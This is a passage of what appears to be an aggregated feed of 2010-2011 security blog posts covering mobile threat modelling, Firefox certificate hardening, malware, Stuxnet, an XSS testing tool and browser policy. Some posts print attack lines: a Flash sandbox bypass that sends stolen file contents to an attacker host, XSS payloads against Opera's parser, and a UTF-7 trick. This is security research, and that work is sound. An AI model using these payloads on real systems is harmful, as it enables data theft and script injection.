A common mistake modelers make in considering mobile MiM is to forget that devices contain not only applications that make Internet connections but that they also possess browsers:

3. MiM – This threat has access to traffic sent over the Internet (OR carrier network) sent either from the app to server or
vice versa. When a device contains a browser, this threat can see both app to server traffic and browser to server traffic from the same account/device. This threat may be able to see traffic through (active or passive) interposition, or through landing code (script) w/in the device’s browser using classic web attacks (Depicted as Threat #4 in the figure above).

Whether or not one needs to consider both Internet and carrier-based sniffing depends on other factors within the threat model. Cigital has always considered carrier-level compromise part of its mobile threat model, at a low barrier to entry. However, it bears mentioning that as recently as 2004 it was challenge to convince organizations that individuals could “be the mobile network”. It’s somewhat vindicating to see this as a consumer-grade scenario now.

This isn’t the half of it though (and we’re getting ahead of ourselves a little bit in talking about attack surface here, but). Consider the following ‘radio-based’ surfaces on the phone:
2. GSM Stack
3. CDMA Stack
4. 802.11
5. Bluetooth
6. NFC (coming soon to a device near you!!!)
Remember, vulnerability in any of these implementations may cause our user to suffer a “drive-by owning“, leaving him/her with Threat #2: Malicious Device.

Other Old Threat
Taking another cue from former efforts, modelers must consider the possibility that malicious applications will run alongside their applications within a mobile device. This scenario is no different than that of a browser, or any application running on the almost forgotten host computer.

4. Malicious Application – Threat represents either a compromised victim application on the device, a Trojan, or other malware (depicted in the figure above as #3). The causal vector may have been data interpreted and executed by a vulnerable app, a malicious application placed in an app store (or otherwise available for download), or different entirely. Such applications (malicious or corrupted) can attempt to poke and prod at your victim app directly, exploit the underlying device OS, or focus on server resources directly. The malicious app may possess a valid signature (or not, as advantageous) and has access to the device’s services (as per what the user has granted it).

Summary
Hopefully, this thought exercise has shown its reader threats they hadn’t considered. Hopefully it shows the reader the advantages of reconsidering a threat model as the architecture changes through normal means:
1. Start with the users/user-stories
2. Think maliciously
3. Think ‘stupid’
4. Re-consider old threats in the new architecture
5. Understand, you’re not the only device ‘user’, ‘owner’
It continues to surprise me that these techniques pay off even when only threats (the ‘who’) themselves are considered.

Next, we’ll write up how consideration of the attack surface differs as we ‘move to mobile’ and begin to see how this expanded surface can have dramatic implications on the security posture of existing functionality.

Dominic White's .tHE pRODUCT

Improving Certificate Security in Firefox4

Posted: March 26th, 2011, 11:04am CDT

Tags: Security [edit]
After Jacob outed the compromise at one of Comodo's resellers, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:
- Install HTTPS-Everywhere
- Reducing the number of trusted root CA certificates to the most frequently used
- Forcing OCSP revocation checks
- Monitoring for certificate changes
This is a brief how-to enable the same in your browser.
Install HTTPS Everywhere
You need a reason to engage in all this hard work. Install the EFF's HTTPS-Everywhere add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.

Reducing the Trusted Roots
Qualys SSL labs, and the EFF SSL Observatory both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I'll be publishing a more detailed analysis on SensePost's blog, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:
- AddTrust External CA Root
- COMODO Certificate Authority
- AAA Certifice Services
- DigiCert High Assurance EV Root CA
- Entrust.net Secure Server Certification Authority
- Entrust.net Certification Authority (2048)
- Equifax Secure CA
- Equifax Secure Global eBusiness CA-1
- GeoTrust Global CA
- GlobalSign Root CA
- GTE CyberTrust Global Root
- Network Solutions Certificate Authority
- SecureTrust CA
- StarField Class 2 CA
- StartCom Certification Authority
- Thawte Server CA
- Thawte Premium Server CA
- thawte Primary Root CA
- Go Daddy Class 2 CA
- UTN-UserFirst-Hardware
- http://www.valicert.com/ (Class 2 Policy Validation)
- Verisign Class 3 Public Primary Certification Authority - G5
- Verisign Class 3 Public Primary Certification Authority
- Verisign Class 3 Public Primary Certification Authority - G2
Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences->Advanced->Encryption->View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather download the preconfigured certificate database from me here (SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05). This will overwrite any existing certificates you may have trusted or imported, so I'd recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:
- OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db
- Windows %APPDATA%MozillaFirefoxProfilesxxxxxxxx.defaultcert8.db
- Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db
I've been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don't trust, but which is eventually signed by a root you do trust, then your browser won't give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn't prevent a compromised intermediary (as in Comodogate) attack. If you've decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.
Forcing OCSP verification Checks
There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled ~~by manually toggling the option in about:config~~ through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you're being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.

To do this:
1. ~~Type "about:config" in your URL bar~~
2. ~~Click "I'll be careful I promise" when you see the warning~~
3. Add a new Boolean key named security.OCSP.require
4. ~~Ensure the value is set to "true"~~
1. Navigate to Preferences->Advanced->Encryption->Validation
2. Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid
3. Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)
Monitoring for Certificate Changes
Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, my use of certificates on this website has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use Petnames, however, this has not been updated for Firefox 4, and so I found Certificate Patrol (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so ~~disabling Firefox add-on compatibility checking~~ using the add-on compatibility reporter will allow it to be installed.

What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or "Iranian Secret Police". The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a "certificate changed" warning on every SSL site you visit, that's a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.

To disable add-on compatibility checking and install Certificate Patrol, do the following:
1. ~~Got to about:config as described in the previous section~~
2. Find the key named extensions.checkCompatibility.4.0
3. Toggle the value to false
1. Install the "Add-on compatibility reporter" to allow you to install & report on plugins not yet marked as compatible with FF4
2. Navigate to the Certificate Patrol page, and click "Download Now"
3. Restart Firefox when prompted
If you want to take it a step further, there is the Perspectives add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been "seen". The add-on will them assign a "trustworthyness" based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle'd the certificate presented would be different from any the notaries had seen and a failure would be issued.

Update: Updated to avoid about:config changes.
Update II: Added SHA sum of cert trust DB and fixed some spelling.
Update III: Referenced perspectives

Justice League

More on Malware (Including Bad Ads)

Posted: March 22nd, 2011, 9:26am CDT by gem

Tags: Software Security [edit]

Just two months ago, I invoked the malicious code problem in a Justice League blog entry. The growth in malicious code is caused by the Trinity of Trouble (connectivity, complexity and extensibility) which incidentally is also what makes the software security problem more interesting to work on every day. My most recent informIT article, titled simply “Modern Malware” is about the problem.

This time, the article was sparked by a very interesting trend report from Dasient about the malware problem. The Dasient guys are approaching the problem from the server end. Founder Neil Daswani was on the Google software security team for a while and is now going after the problem more aggressively.

Dasient produced a video introducing the problem of serving seemingly simple web pages that comes about when advertising is present.

(via)

Dominic White's .tHE pRODUCT

SuperGenPass Update

Posted: March 1st, 2011, 6:46am CST

Tags: Security [edit]

I made a small update to SuperGenPass (full write up) to randomise several of the variable names. This will prevent this exploit from working. It is by no means fool proof, and I'd still recommend using the Data URI or other out of band version for full assurance. I've been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I'd recommend hitting the page via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.

Justice League

The Stuxnet Payload

Posted: February 28th, 2011, 7:30am CST by gem

Tags: Software Security [edit]

I met Silver Bullet #59 victim Ralph Langner at Joe Weiss’s Applied Control Solutions Conference in Rockville last Fall. That was when (much to the surprise of the Siemens guys there) Ralph first revealed that the Stuxnet payload was aimed directly at physical control systems. In some sense, Stuxnet has changed the world by showing in no uncertain terms just how vulnerable control systems are.

I wrote about Stuxnet at the time and since then much analysis has been published. But most of the coverage continues to be weak on the payload part of Stuxnet (in my view spending too much effort fretting about the more mundane delivery mechanism).

Ralph has spent more time and effort than anyone analyzing the Stuxnet payload and we get into some detail regarding its technical workings during the podcast. Have a listen: [www.cigital.com]

If you ever wondered what a cyber war weapon might look like, Stuxnet is it. It is obvious that Stuxnet was specifically constructed as a targeted attack against the Natanz nuclear centrifuges in Iran.

Sadly, Cyber War is here to stay.

The Spanner

How do you spell JavaScript again?

Posted: February 23rd, 2011, 2:09pm CST by Gareth Heyes

Tags: Security [edit]

So I came across a cool post to hack the new HTML5 parser that Opera is developing, it is awesome that a vendor says hey c’mon look what we’ve done, please try and break our stuff. I couldn’t resist having a go as they asked so nicely and within minutes….

<a href="jav&#65ascript:alert(1)">test1</a> <a href="jav&#97ascript:alert(1)">test2</a>

That’s not how you spell JavaScript

Opera dudes pro tip:-
JavaScript protocol fuzzer

Justice League

Invincea Named Most Innovative Startup at RSA

Posted: February 15th, 2011, 11:00am CST by gem

Tags: Software Security [edit]

Cigital is proud to have helped Invincea create a secure security product. (See this post for more.) “What,” you say, “isn’t that redundant?” No, unfortunately many “security products” are not at all secure themselves. Surprising as it may be, software security is neither guaranteed nor common in security software. Invincea is bucking this trend by paying careful attention to both design and implementation issues in its product set. We make it our business to help.

Yesterday at RSA, Invincea was named the most innovative startup as part of the competition in the RSA Innovation Sandbox. Here is a BusinessWire release with some facts.

I did a software security whiteboarding session for a standing room only crowd of over 300. This was my first sandbox showing, and I must say that Innovation Sandbox is a dynamic, energetic and entertaining part of RSA. I will be participating again for sure.

The Spanner

Hackvertor export API

Posted: January 26th, 2011, 6:39am CST by Gareth Heyes

Tags: Security [edit]

I’ve had requests to create a Hackvertor API to allow you to embed it on your own sites, so I’ve created one. It uses postMessage to communicate and you can set the width, height, top, left and callback for your output. The code looks like this:-

Hackvertor.write({top:'0px',left:'300px',width:'700px',height:'400px', callback:function(str) { document.getElementById('output').value=str; }});

This will write a iframe pointing to the Hackvertor export and the callback will retrieve the output. I’ve done a complete sample to show you how it works:-
Hackvertor export example

The API contains a couple of functions:-
Hackvertor.show() – Shows the Hackvertor window
Hackvertor.hide() – Hides the Hackvertor window
Hackvertor.send(str) – Sends some input to Hackvertor

~~It still doesn’t work on Chrome correctly yet as there is a minor JSReg issue I need to sort out, I’ll fix that as soon as I’ve got time~~ fixed!. But anyway enjoy!
XSS Rays extension

Posted: January 21st, 2011, 11:11am CST by Gareth Heyes

Tags: Security [edit]

You might remember my XSS Rays bookmarklet I developed a while ago, I got nagged by a few of you to fix some things in it. Well it was crappy because it was bookmarklet based so I didn’t bother. Instead I decided to create a Chrome extension and revamp the features. So here it is the awesome XSS Rays!

XSS Rays
Features Scan
Performs a scan of all forms and links and even crawls each one to a depth you specify (this will open a lot of tabs while it does this). At the moment it only supports GET requests and path injection. You press the extract links button, then select the links you want to inject with the multi-context XSS vector, then click run XSS injector and it will attempt to inject all the links and give you the urls. You can also download them and save the file.
Reverse
This is super awesome, it will attempt to blackbox reverse a XSS filter. Again only GET is supported at the minute (mainly for speed and the fact that most XSS attacks support GET). You choose the site you want to scan by visiting it, a quick shortcut is to already have the param filled in, this way XSS Rays automatically enters it for you. To see how it works:-

1. Visit Mario’s challenge
2. Open XSS Rays and click reverse
3. Click reverse filter and watch the magic happen.

It will give you a report of which characters are allowed, a estimated length guess (pretty accurate unless a site removes a request if it exceeds the amount), I estimate to save http requests, which tags are allowed and which attributes and finally the characters it converts.
Search
Ever wanted to regex search the dom and event handlers? Well I did that but on steroids. You can enter your regex string to search, the highlight regex which will highlight the results like for example if I wanted to see where in the search results “location” appeared. It will search inline and external scripts and also give you the ability to click the file and edit it in real time.
Source
Will highlight events, charsets etc of the current source code of the page. Useful for quickly viewing the source and events. I have to improve this section and display headers etc.
Inspect window
Here you can traverse user define objects, this was tricky because in chrome hasOwnProperty is broken and isolated worlds in chrome extensions make it difficult to edit the current window object. You click the object on the left and traverse it if there are any objects inside, then you can click any functions defined inside a object and it will be de-obfuscated and allow you to edit in real time.
Inspect user define functions
How on earth do you inspect user defined functions on window? Think about it, if they are not assigned to window like window.x=function(){} then they will not be available inside for..in loops. That didn’t stop me I grabbed the source code for each script, scanned for functions defined inside the script, gathered a list of the names, then sent the name to the new function constructor like so:-

var funcName = funcs[i]; var val = ''; try { var val = new Function("return "+funcName)(); if(/^functions*()s*{s*[native code]s*}/.test(val.toString())) { val = false; } } catch(e){}

So the new function returns the value if it global and I do one last check to make sure it isn’t native, like for example if there is a function called close.
Inject forms
Inject forms does exactly what it says on the tin, it will loops through all the forms on the page and inject a multi-context XSS vector.
Edit forms
Edit forms is cool because it allows you to alter a sites forms without altering their type, lets say you have a checkbox. The elements are linked together and you can alter the value, if the site logic expects a checkbox then it still works.
Extract forms
Will extract all forms and fields on the page and return a url for each.
DOM Input/Output filter
Here you give it a url and param, then some input, it will then inject your input onto the page and scan the DOM for the results showing your the output. This is useful for creating a interface for testing a client side filtering system.

Justice League

Malicious Code and Software Security

Posted: January 19th, 2011, 10:58am CST by gem

Tags: Software Security [edit]

Malicious code is a bigger problem than ever before. Way back in 1996 when Ed Felten and I wrote Java Security, we thought that malicious code was an up and coming issue and we positioned it that way. These days with the likes of Stuxnet and Zeus, things are worse than we ever would have imagined. In my view, the only surefire way to address malicious code is to build better software that is not susceptible to attack. That is, most malicious code leverages broken and vulnerable software to do what it does. Malicious software attacks other software. But while we’re working harder than ever on software security, we already have a huge problem.

This video, produced by Invincea (whose software Cigital helped to secure), gently introduces some of my views on the malicious code problem.

Dominic White's .tHE pRODUCT

Anti-Predictions for 2011

Posted: January 10th, 2011, 3:53am CST

Tags: Security [edit]
Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we'll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that's just because I believe in them).
- Get a handle of what you have online. Many orgs have a much larger Internet presence than what's sitting in their hosting center. Cheap hosting, elastic hosting, service providers with their own infrastructure (particularly those catering directly to business units), half forgotten subsidiaries & business partners all put services online that tend to get overlooked. But expose your company to brand damage or access to your network. Best of all, this is cheap & quick to do. Consolidating the results into controlled hosting areas and applying consistent security standards isn't unfortunately.
- Check up on exceptions to the basics. By now most have at least a basic patch, virus, change & configuration management process for servers. If you don't, start. If you do, start checking on exceptions such as;
  - How many servers don't we know about & why?
  - How many servers don't have AV & patches up to date?
  - How many changes that didn't go through change control were made?
  These are harder questions to answer, but as any pentester will tell you, we're good at finding those machines and that's our quick 'n easy in.
- Third party patches. Microsoft did some good work in sorting out their patch release cycles and it's fairly easy to get those patches applied regularly. Unfortunately the attacks have moved to the harder to patch, less secure software on machines operated by less savvy users. This means you need to start managing non-MS patches, and you need to do it on more than just servers. Worse still, each third party software provider has their own update mechanism which is hard to centrally manage (in a Window environment at least). Big ticket patch management tools have long had this capability but they also come with the price tag. Cheaper tools such as Secunia CSI or even the right vulnerability scanner can alert on what needs doing.
- Mobile security *processes* - People have hyped mobile security for years and we're at a point where there's a reasonable expectation that a majority of information workers have at least company email & calendar data on their phones. The most likely threat is of the device being lost or trivially accessed. Figure out what controls you can push to the most number of devices (e.g. MS ActiveSync allows passwords and lock times to be enforced & iDevices or RIM devices have an extended set of controls). More importantly however, is to implement processes for using these. They don't need to be perfect, but at a minimum employees should be able to report lost or stolen phones and have a remote wipe command sent & passwords reset.
- Physical Access Management - It's 2011 and there are still wildly inconsistent ways in which this is managed. Make sure there is proper equipment sign in/out, that guards actually check bags & that legitimate data is entered (or go for the Ricardo Semler approach, but don't pay for an awkward middle ground). I still regularly sign in as Osama Bin Laden and walk in/out with laptops hidden in my bag. There are some nice advances in tech in ZA too; electronic sign in devices that look up ID numbers OTA and take copies of fingerprints. Next up make sure there's adequate camera coverage of your offices & that suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.
These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we've had some fun with that at work and will hopefully add to the noise with those soon.

Billy (BK) Rios

Bypassing Flash’s local-with-filesystem Sandbox

Posted: January 4th, 2011, 5:00am CST by xssniper

Tags: Security [edit]
A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”. In the PoC I provided, a SWF file reads an arbitrary file from the victim’s local file system and passes the stolen content to an attacker’s server.

One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems. Looking at the documentation related to the sandbox, we see the following:

Local file describes any file that is referenced by using the file: protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:

The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.

First, I think the documentation here is a bit too generous. SWFs loaded from the local file system do face some restrictions. The most relevant restrictions are probably:
1. The SWF cannot make a call to JavaScript (or vbscript), either through URL or ExternalInterface
2. The SWF cannot call a HTTP or HTTPS request.
3. Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)
Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation. The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server. For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like: file://\192.168.1.1stolen-data-here

Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses). If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks. A while back, I put up a post on the dangers of blacklisting protocol handlers. It’s basically impossible to create a list of “bad” protocol handlers in siutation like this. In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists. If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win.

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example. The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash. Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);

Some other benefits for using the mhtml protocol handler are:
1. The request goes over http/https and port 80/443 so it will get past most egress filtering
2. If the request results in a 404, it will silently fail. The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer
3. The protocol handler is available by default on Win7 and will launch with no protocol handler warning
There you go, an easy way to bypass Flash’s local-with-file system sandbox. Two lessons here. One, running un-trusted code (whether it’s an executable, javascript, or even a swf) is dangerous. Two, protocol handler blacklists are bad. Hope this helps PZ!
Expanding the Attack Surface

Posted: December 22nd, 2010, 2:11pm CST by xssniper

Tags: Security [edit]
Imagine there is an un-patched Internet Explorer vuln in the wild. While the vendor scrambles to dev/test/QA and prime the release for hundreds of millions of users (I’ve been there… it takes time), some organizations may choose to adjust their defensive posture by suggesting things like, “Use an alternate browser until a patch is made available”.

So, your users happily use FireFox for browsing the Internet, thinking they are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right? Unfortunately, the situation isn’t that simple. In some cases, it is possible to control seemingly unrelated applications on the user’s machine through the browser. As an example (I hesitate to call this a bug, although I did report the behavior to various vendors) we can use various browser plugins to jump from FireFox to Internet Explorer and have Internet Explorer open an arbitrary webpage.
1. Requirements: Firefox, Internet Explorer, and Adobe PDF Reader (v9 or X)
2. Set the default browser to Internet Explorer (common in many enterprises)
3. Open Firefox and browse to the following PDF in Firefox: [xs-sniper.com]
Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call the default browser and pass it a URL, the default browser (IE) will render the webpage passed by the PDF.

The example I provide simply jumps from Firefox to IE and loads http://xs-sniper.com/blog/, however I’m free to load any webpage in IE. To be fair, we can substitute Firefox for Safari or Opera and it will still work.

Achieving this is simple. We use a built-in Adobe Reader API called app.launchURL(). Looking at the documentation for the launchURL() API, we see that launchURL() takes two parameters: cURL (required) and bNewFrame (optional). cURL is a string that specifies the URL to be launched and bNewFrame provides an indication as to whether cURL should be launched in a “new window of the browser application”. In this case, “new window of the browser application” really means the default browser.

A simple one liner in Adobe Reader JavaScript gets it done:

app.launchURL(“http://xs-sniper.com/blog/”,true);

Happy hunting…

The Spanner

Late meta Christmas present

Posted: December 17th, 2010, 7:24am CST by Gareth Heyes

Tags: Security [edit]

Something like two years ago I think, I discovered IE had a additional HTML attribute called “CHARSET” quite convenient as it’s defined in HTML5. This enabled me to bypass a few things using UTF-7. The MSDN documentation was updated to account for this hidden attribute which is pretty cool, so I found something hidden which actually was pretty useful and saved development time because it was already there! See Devs sometimes we are useful As usual I discovered it by manual testing and checking mshtml.dll in IDA Pro (demo cause I’m cheap), it looks like this:-

<meta charset="utf-7" />

Anyway there is your late crappy xmas present sorry it was late.

Billy (BK) Rios

Will it Blend?

Posted: December 17th, 2010, 4:26am CST by xssniper

Tags: Security [edit]

I had the honor of presenting at RuxCon and BayThreat this year. Both were great conferences with great people. I’m always humbled when I learn of what others are doing in the security community and even more humbled when asked to present. I gave a presentation called Will It Blend. The title of the talk is based on a series of videos from Blendtec (I could watch these videos all day). The content of the talk however is about “blended threats”. During the talk I presented a set of bugs I discovered in various browser plug-ins. Independently, these bugs are pretty lame. However, if we chain the bugs together, we get something that’s actually pretty interesting. If you’re interested in taking a look at the slides, you can find them here (PPTPLEX format) or on the RuxCon/Baythreat websites. The vuln chaining is a little difficult to visualize by looking at the slides, so at the end of my talk I gave a live demo of the bugs being chained together. For those who were unable to attend my talk live, I’ve created a video to help understand how the exploit would be pulled off ([www.youtube.com]). It will help to go over the slides first, then watch the video.

Most of the relevant code is available in the slide deck (its really simple). There are around 5 different bugs in play here, involving a variety of vendors. All the vendors involved have been contacted. The oldest bug here is over a year old, the youngest is about five months old. Kudos to Adobe. Adobe X has changed its caching behavior, so this specific attack cannot be used against Adobe X users.

I’m not sure where the blame lies for fixing these issues. On one hand, if a single vendor addresses their portion of the attack, the entire chain of vulnerabilities is broken. On the other hand, if only one vendor addresses their issue, all we have to do is find some other software/plugin that buys us the same capability and its game on again.

I hope someone finds the presentation useful. Happy hunting.

Justice League

Howard Schmidt Keeps his eye on the Ball

Posted: December 15th, 2010, 9:40pm CST by gem

Tags: Cyber Security [edit]

I was recently invited by our Corporate Counsel to attend a local Virginia networking event hosted by the Northern Virginia Technology Council. Howard Schmidt was the speaker. I’ve run into Howard a few more times than I expected to this year, and each time it is interesting to see what he has to say.

Howard started his career as a policeman, and his approach to cyber security is informed by that experience. Don’t get me wrong, I think that’s an OK thing. I would much rather see a law enforcement angle focused on cybercrime than a warrior angle focused on the chimera of cyberwar. Of course, given my druthers, I would choose an architect (especially a software architect) over a law enforcement person to be in charge of cyber security. One of these years…

Howard’s talk was fine. Nothing earth shattering and no major revelations unless you’re a government employee about to be bound by HSPD 12. Howard emphasizes deterrence (especially using economics and harsh punishments to deter cyber crime), accountability (focused mostly on criminality and sentencing), resilience (where his story needs some more work and could do with a good dose of technology), and privacy. I would like to see more emphasis on building security in in the first place, but the government still has some basic blocking and tackling to do.

I wish I had a nickel for every time the political types say “public private partnership.” That dog failed to hunt long ago. Time for a new dog. Even making a joke out of it invokes groans. No more political pandering with public private partnerships please.

I still believe that the government is WAY behind when it comes to cyber security. I also think that the Obama administration has made important progress since the days of the at-first-classified CNCI. They may have caught up to 1996! Only 14 years to go.

Take home message from me: not one mention of cyber war the entire time, only a little about cyber espionage and IP, and plenty of focus on cyber crime. At least our executive branch is sane!

Thanks for dragging me out of the sticks, Tom.
Cyber War and US Policy

Posted: November 30th, 2010, 11:35am CST by gem

Tags: Cyber Security [edit]

I spent more time this year in Washington talking to policy makers than I have in past years. I’ve been to the White House, to the Pentagon, and to a think tank or two. One thing became clear, cyber security is a confusing field full of FUD and nonsense! Oh yeah, and the government is WAY behind.

In order to cut through the nonsense and try to refocus the discussion on building things right, I published an article with Ivan Arce from Core Security:

Cyber Warmongering and Influence Peddling (November 24, 2010)

Ivan and I believe that the only defense when it comes to Cyber War is a good defense (that is, building systems to be secure in the first place and raising the cost of attack). Plus we wonder why it is that we’re talking about Cyber War in the first place, when Cyber Crime and Cyber Espionage are both much bigger problems. The good news is that building better systems can kill all three birds with the same stone.

The wikileaks problem that the foreign policy establishment is dealing with? Only better defense (reasonable system design) would have helped stop that. Ask yourself how on earth could a Private have access to diplomatic cables form SIPRnet?! Who built that system?

The Aurora cyber espionage problem that stole lots of Google IP? Better defense.

The Stuxnet worm (whose Siemens-aimed payload was at heart a simple DLL interpositioning attack)? Better defense in the form of software security.

The key to cyber security is not being able to throw a more accurate and deadly rock inside of our glass house. Instead, we need to work on the glass house itself.

Hopefully our article will provide some easy to understand guideposts for policy makers as they grapple with the cyber security problem. If you like what we have to say, please pass our article on to your representatives.

Dominic White's .tHE pRODUCT

Browser Security - better defenses

Posted: November 29th, 2010, 10:20am CST

Tags: Security [edit]

While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can't tell the difference between attacker injected script and legitimate scripts and happily responds to both. It's what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn't want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn't be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.

There's a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can't control. If an ad provider is hacked and used to distribute malware, then the site-owner's only choice (if detected) is to remove the ad.

We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy & ability to disable features not required) back in the hand of the right people. Once we get it, there's a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first.

Right now, a proposal for something like the first requirement exists in the form of the Content Security Policy put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the frame-ancestors directive to ensure that your site can't be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...

Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won't cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I'd like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an "on/off/whitelist/blacklist" rule can be applied. For example, image the following depth-first view of a tree leg "external data -> css -> images -> background-image" At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn't require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.

This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential "attack surface" for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.

For the second problem, there are far less advanced tools available. The closet to it are the new HTML5 <iframe> sandbox directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We'd need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.

